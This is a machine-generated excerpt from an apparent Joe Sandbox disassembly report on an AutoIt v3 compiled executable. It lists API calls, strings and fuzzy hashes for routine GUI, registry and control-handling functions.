SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00DA7678
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00DA769E
SendMessageW.USER32(?,00000421,?,?), ref: 00DA76B3
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00DA76C6
IsWindowVisible.USER32(?), ref: 00DA76E6
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00DA7701
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00DA7715
GetWindowRect.USER32(?,?), ref: 00DA772D
MonitorFromPoint.USER32(?,?,00000002), ref: 00DA7753
GetMonitorInfoW.USER32 ref: 00DA776D
CopyRect.USER32(?,?), ref: 00DA7784
SendMessageW.USER32(?,00000412,00000000), ref: 00DA77EF

Strings

tooltips_class32, xrefs: 00DA7653
0, xrefs: 00DA7532
(, xrefs: 00DA7762

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 30c20c6791ccdc25b38e8d53aac84ff606b4446710aa3bbed9e172ae66ea5cfe
Instruction ID: 09ae0b380710cde949186f2239c1c39d012aa0a0906d13cc1ae05f445eabf533
Opcode Fuzzy Hash: 30c20c6791ccdc25b38e8d53aac84ff606b4446710aa3bbed9e172ae66ea5cfe
Instruction Fuzzy Hash: 48B18B71608341AFDB44DF68CD48B6ABBE5FF89310F04891DF5999B291DB70E805CBA2

Function 00D5A756 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00D5A839
GetSystemMetrics.USER32(00000007), ref: 00D5A841
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00D5A86C
GetSystemMetrics.USER32(00000008), ref: 00D5A874
GetSystemMetrics.USER32(00000004), ref: 00D5A899
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00D5A8B6
AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 00D5A8C6
CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00D5A8F9
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00D5A90D
GetClientRect.USER32(00000000,000000FF), ref: 00D5A92B
GetStockObject.GDI32(00000011), ref: 00D5A947
SendMessageW.USER32(00000000,00000030,00000000), ref: 00D5A952

Part of subcall function 00D5B736: GetCursorPos.USER32(000000FF), ref: 00D5B749
Part of subcall function 00D5B736: ScreenToClient.USER32(00000000,000000FF), ref: 00D5B766
Part of subcall function 00D5B736: GetAsyncKeyState.USER32(00000001), ref: 00D5B78B
Part of subcall function 00D5B736: GetAsyncKeyState.USER32(00000002), ref: 00D5B799

SetTimer.USER32(00000000,00000000,00000028,00D5ACEE), ref: 00D5A979

Strings

AutoIt v3 GUI, xrefs: 00D5A8F1

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 750d9fa377c51a32def167d128d68505c6d06eefc030bd3ff1c56f398993f849
Instruction ID: 189d970dd9d26ce7ac77d20e7dc077ee65fbb4986101302af057118b95fa95dd
Opcode Fuzzy Hash: 750d9fa377c51a32def167d128d68505c6d06eefc030bd3ff1c56f398993f849
Instruction Fuzzy Hash: 4BB16735A0021AEFDB14DFA8CC45BEA7BA5EB48315F104229FA16EB290DB30D944CB61

Function 00DA352A Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DA3626
RegCreateKeyExW.ADVAPI32(?,?,00000000,00DDDBF0,00000000,?,00000000,?,?), ref: 00DA3694
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00DA36DC
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00DA3765
RegCloseKey.ADVAPI32(?), ref: 00DA3A85
RegCloseKey.ADVAPI32(00000000), ref: 00DA3A92

Strings

REG_DWORD, xrefs: 00DA3956
REG_MULTI_SZ, xrefs: 00DA384D
REG_EXPAND_SZ, xrefs: 00DA3702
REG_BINARY, xrefs: 00DA3A20
REG_SZ, xrefs: 00DA37A3
REG_QWORD, xrefs: 00DA39D3

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 577a770adfdaca983394c50fca3a0089481202c3159359b9ee34f8161ee6451f
Instruction ID: d894c95baef249343d783da83ad46a95a2fd296084e9662a6378973df90d9c74
Opcode Fuzzy Hash: 577a770adfdaca983394c50fca3a0089481202c3159359b9ee34f8161ee6451f
Instruction Fuzzy Hash: B1025E756046119FCB14EF28C895E2AB7E6FF89720F04845DF88A9B361DB34ED05CBA1

Function 00DA69C5 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 281windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00DA6A52
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00DA6B12

Strings

FINDITEM, xrefs: 00DA6C7D
ISSELECTED, xrefs: 00DA6B1D
DESELECT, xrefs: 00DA6BF8
SELECTINVERT, xrefs: 00DA6BDA
GETTEXT, xrefs: 00DA6ABB
GETSELECTED, xrefs: 00DA6C38
GETSUBITEMCOUNT, xrefs: 00DA6A9D
VIEWCHANGE, xrefs: 00DA6CC9
SELECT, xrefs: 00DA6BA4
SELECTCLEAR, xrefs: 00DA6B89
SELECTALL, xrefs: 00DA6B71
GETITEMCOUNT, xrefs: 00DA6A80
GETSELECTEDCOUNT, xrefs: 00DA6AF5

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 6b4d845c72547f4839ccac1593d91886a82ee5ae6f4de72baadef4b054c9a535
Instruction ID: 628998d6ff233eaa33d3686ac53509ff39a91c072eae74c3b4ef0e3a1d5148dc
Opcode Fuzzy Hash: 6b4d845c72547f4839ccac1593d91886a82ee5ae6f4de72baadef4b054c9a535
Instruction Fuzzy Hash: E9A14E70214201DFCB04EF24C951A6AB7A6EF45364F18896DBD969B3D2EB30ED09CB71

Function 00D7DD46 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00D7DD87
__swprintf.LIBCMT ref: 00D7DE28
_wcscmp.LIBCMT ref: 00D7DE3B
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00D7DE90
_wcscmp.LIBCMT ref: 00D7DECC
GetClassNameW.USER32(?,?,00000400), ref: 00D7DF03
GetDlgCtrlID.USER32(?), ref: 00D7DF55
GetWindowRect.USER32(?,?), ref: 00D7DF8B
GetParent.USER32(?), ref: 00D7DFA9
ScreenToClient.USER32(00000000), ref: 00D7DFB0
GetClassNameW.USER32(?,?,00000100), ref: 00D7E02A
_wcscmp.LIBCMT ref: 00D7E03E
GetWindowTextW.USER32(?,?,00000400), ref: 00D7E064
_wcscmp.LIBCMT ref: 00D7E078

Strings

%s%u, xrefs: 00D7DE22

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf
String ID: %s%u
API String ID: 3119225716-679674701
Opcode ID: 2517d03d27e27e1456022cb931f3bd218a4bdcfa77cd704c0b26e593a5f0a6bb
Instruction ID: 157c04728b75f8ec0d6e59ef5a1811bea7ed32ce2e025756fbb1af1a3ba22fbb
Opcode Fuzzy Hash: 2517d03d27e27e1456022cb931f3bd218a4bdcfa77cd704c0b26e593a5f0a6bb
Instruction Fuzzy Hash: 70A19B71204706AFD715DF64C884FAAB7A9FF48350F048629F99EC6290EB70E945CBB1

Function 00D7E69D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00D7E6E1
_wcscmp.LIBCMT ref: 00D7E6F2
GetWindowTextW.USER32(00000001,?,00000400), ref: 00D7E71A
CharUpperBuffW.USER32(?,00000000), ref: 00D7E737
_wcscmp.LIBCMT ref: 00D7E755
_wcsstr.LIBCMT ref: 00D7E766
GetClassNameW.USER32(00000018,?,00000400), ref: 00D7E79E
_wcscmp.LIBCMT ref: 00D7E7AE
GetWindowTextW.USER32(00000002,?,00000400), ref: 00D7E7D5
GetClassNameW.USER32(00000018,?,00000400), ref: 00D7E81E
_wcscmp.LIBCMT ref: 00D7E82E
GetClassNameW.USER32(00000010,?,00000400), ref: 00D7E856
GetWindowRect.USER32(00000004,?), ref: 00D7E8BF

Strings

@, xrefs: 00D7E6BC
ThumbnailClass, xrefs: 00D7E7A9, 00D7E829

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: a97c447db58b2b707bc224ae638a8b3f86d7389f4f313e56d981f420eccc153e
Instruction ID: ec15acb1175323c48b296f91b6ba381f80853c588418a0593eb317cab36f3642
Opcode Fuzzy Hash: a97c447db58b2b707bc224ae638a8b3f86d7389f4f313e56d981f420eccc153e
Instruction Fuzzy Hash: 8881913100430A9BDB15DF14C885FAA7BD8FF88714F1885AAFD899A196EB30DD45CBB1

Function 00D7E4EA Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00D7E549

Strings

[ACTIVE, xrefs: 00D7E536
REGEXP=, xrefs: 00D7E55E
[HANDLE:, xrefs: 00D7E555
ALL, xrefs: 00D7E5DD
[LAST, xrefs: 00D7E5F6
[REGEXPTITLE:, xrefs: 00D7E571
CLASSNAME=, xrefs: 00D7E586
HANDLE=, xrefs: 00D7E542
LAST, xrefs: 00D7E50E
[ALL, xrefs: 00D7E5EF
ACTIVE, xrefs: 00D7E524
[CLASS:, xrefs: 00D7E599

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 431f16f52affc4b434f27b4c3de417e0d5a2c1da7a49e3168af65d4d247fe2c7
Instruction ID: 8b7e5270e5b8d7dd67a900c104e1e1f4e5769a1cce7c9e5917eb0556f5ef4c8d
Opcode Fuzzy Hash: 431f16f52affc4b434f27b4c3de417e0d5a2c1da7a49e3168af65d4d247fe2c7
Instruction Fuzzy Hash: 9831AD31A4420DABDB14EB50DD53EBE73A49F29704F208564F645B10D6FFA1AF08CA71

Function 00D7F898 Relevance: 25.7, APIs: 17, Instructions: 168windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00D7F8AB
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00D7F8BD
SetWindowTextW.USER32(?,?), ref: 00D7F8D4
GetDlgItem.USER32(?,000003EA), ref: 00D7F8E9
SetWindowTextW.USER32(00000000,?), ref: 00D7F8EF
GetDlgItem.USER32(?,000003E9), ref: 00D7F8FF
SetWindowTextW.USER32(00000000,?), ref: 00D7F905
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00D7F926
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00D7F940
GetWindowRect.USER32(?,?), ref: 00D7F949
SetWindowTextW.USER32(?,?), ref: 00D7F9B4
GetDesktopWindow.USER32 ref: 00D7F9BA
GetWindowRect.USER32(00000000), ref: 00D7F9C1
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00D7FA0D
GetClientRect.USER32(?,?), ref: 00D7FA1A
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00D7FA3F
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00D7FA6A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: a59b48e5707edb858b6c666e008f2d492e6acfb28f8113d70a2214119285b2d5
Instruction ID: f52b0f1674929c971e18b2afc8f6ddbcc218790cf9318cc032dbc5d7ab7cb010
Opcode Fuzzy Hash: a59b48e5707edb858b6c666e008f2d492e6acfb28f8113d70a2214119285b2d5
Instruction Fuzzy Hash: 13511E7190070AAFDB209FA8CD85F6EBBF5FF04704F004529E69AE26A0D774A944CF60

Function 00D97F3D Relevance: 25.6, APIs: 17, Instructions: 109COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00D97F53
LoadCursorW.USER32(00000000,00007F00), ref: 00D97F5E
LoadCursorW.USER32(00000000,00007F03), ref: 00D97F69
LoadCursorW.USER32(00000000,00007F8B), ref: 00D97F74
LoadCursorW.USER32(00000000,00007F01), ref: 00D97F7F
LoadCursorW.USER32(00000000,00007F81), ref: 00D97F8A
LoadCursorW.USER32(00000000,00007F88), ref: 00D97F95
LoadCursorW.USER32(00000000,00007F80), ref: 00D97FA0
LoadCursorW.USER32(00000000,00007F86), ref: 00D97FAB
LoadCursorW.USER32(00000000,00007F83), ref: 00D97FB6
LoadCursorW.USER32(00000000,00007F85), ref: 00D97FC1
LoadCursorW.USER32(00000000,00007F82), ref: 00D97FCC
LoadCursorW.USER32(00000000,00007F84), ref: 00D97FD7
LoadCursorW.USER32(00000000,00007F04), ref: 00D97FE2
LoadCursorW.USER32(00000000,00007F02), ref: 00D97FED
LoadCursorW.USER32(00000000,00007F89), ref: 00D97FF8
GetCursorInfo.USER32(?), ref: 00D98008

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 75d232d2d4076ed568546812d49aba96e7b6942dec86010440ef2d73323a0285
Instruction ID: e17a146a234b514539e5efbb67382a966ad5878a7fe50c1202bf0a888f6ef683
Opcode Fuzzy Hash: 75d232d2d4076ed568546812d49aba96e7b6942dec86010440ef2d73323a0285
Instruction Fuzzy Hash: 973107B1D4831AAADF109FB68C8995EBEE8FF04750F50453AE54DE7280DA78A5048FA1

Function 00DACC68 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DACD0B
DestroyWindow.USER32(00000000,?), ref: 00DACD83

Part of subcall function 00D47E53: _memmove.LIBCMT ref: 00D47EB9

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00DACE04
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00DACE26
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00DACE35
DestroyWindow.USER32(?), ref: 00DACE52
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00D40000,00000000), ref: 00DACE85
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00DACEA4
GetDesktopWindow.USER32 ref: 00DACEB9
GetWindowRect.USER32(00000000), ref: 00DACEC0
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00DACED2
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00DACEEA

Part of subcall function 00D5B155: GetWindowLongW.USER32(?,000000EB), ref: 00D5B166

Strings

tooltips_class32, xrefs: 00DACDFD, 00DACE7E
0, xrefs: 00DACD2B

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 97019f0d5be723eac2dc245daddc1d54e8428cdfe37e349e0cbb091515171f7b
Instruction ID: befcc818cd07dd498922cda1e8e8d33df2433553a7b2f9424b532fa9536c82ed
Opcode Fuzzy Hash: 97019f0d5be723eac2dc245daddc1d54e8428cdfe37e349e0cbb091515171f7b
Instruction Fuzzy Hash: 8371DD7115030AAFD724CF28CC45FA63BE5EB89714F48452CF9859B2A1C731EA45CB71

Function 00DAF122 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5AF7D: GetWindowLongW.USER32(?,000000EB), ref: 00D5AF8E

DragQueryPoint.SHELL32(?,?), ref: 00DAF14B

Part of subcall function 00DAD5EE: ClientToScreen.USER32(?,?), ref: 00DAD617
Part of subcall function 00DAD5EE: GetWindowRect.USER32(?,?), ref: 00DAD68D
Part of subcall function 00DAD5EE: PtInRect.USER32(?,?,00DAEB2C), ref: 00DAD69D

SendMessageW.USER32(?,000000B0,?,?), ref: 00DAF1B4
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00DAF1BF
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00DAF1E2
_wcscat.LIBCMT ref: 00DAF212
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00DAF229
SendMessageW.USER32(?,000000B0,?,?), ref: 00DAF242
SendMessageW.USER32(?,000000B1,?,?), ref: 00DAF259
SendMessageW.USER32(?,000000B1,?,?), ref: 00DAF27B
DragFinish.SHELL32(?), ref: 00DAF282
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00DAF36D

Strings

@GUI_DROPID, xrefs: 00DAF2A2
@GUI_DRAGID, xrefs: 00DAF2E1
@GUI_DRAGFILE, xrefs: 00DAF31C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 3ac57c6105ec0d1c4e8a4cbb2bbecae0c1e050c1f32324d3f80673980f1e4bbe
Instruction ID: 6bb75ddefb1e9a6858f32df7e6208d70f8da8cbac02fd22b0c5704140b03925f
Opcode Fuzzy Hash: 3ac57c6105ec0d1c4e8a4cbb2bbecae0c1e050c1f32324d3f80673980f1e4bbe
Instruction Fuzzy Hash: 5D615A71108305AFC700EFA0DC85E9BBBE9FF89754F004A2DF695921A1DB309A49CB72

Function 00D8B428 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 350timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00D8B46D
VariantCopy.OLEAUT32(?,?), ref: 00D8B476
VariantClear.OLEAUT32(?), ref: 00D8B482
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00D8B561
__swprintf.LIBCMT ref: 00D8B591
VarR8FromDec.OLEAUT32(?,?), ref: 00D8B5BD
VariantInit.OLEAUT32(?), ref: 00D8B63F
SysFreeString.OLEAUT32(00000016), ref: 00D8B6D1
VariantClear.OLEAUT32(?), ref: 00D8B727
VariantClear.OLEAUT32(?), ref: 00D8B736
VariantInit.OLEAUT32(00000000), ref: 00D8B772

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00D8B58B
Default, xrefs: 00D8B615

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 96385748377c9904cf851d24d90bd6132d21fa37a04114466283a5fca286e48d
Instruction ID: 85a3405a743942c3685d50e96b326f8bf608dfb2e2a7319a077b213628763ba0
Opcode Fuzzy Hash: 96385748377c9904cf851d24d90bd6132d21fa37a04114466283a5fca286e48d
Instruction Fuzzy Hash: E7C10131A04616EBCB10EF69C886B7AB7B4FF05320F188466E445DB692DB74EC44DBB0

Function 00DA6F67 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 244windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00DA6FF9
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00DA7044

Strings

UNCHECK, xrefs: 00DA7208
EXISTS, xrefs: 00DA70AD
SELECT, xrefs: 00DA71DD
ISCHECKED, xrefs: 00DA71AF
GETTEXT, xrefs: 00DA717F
GETSELECTED, xrefs: 00DA713C
EXPAND, xrefs: 00DA70DE
GETTOTALCOUNT, xrefs: 00DA7027
CHECK, xrefs: 00DA7064
GETITEMCOUNT, xrefs: 00DA710E
COLLAPSE, xrefs: 00DA708A

Memory Dump Source

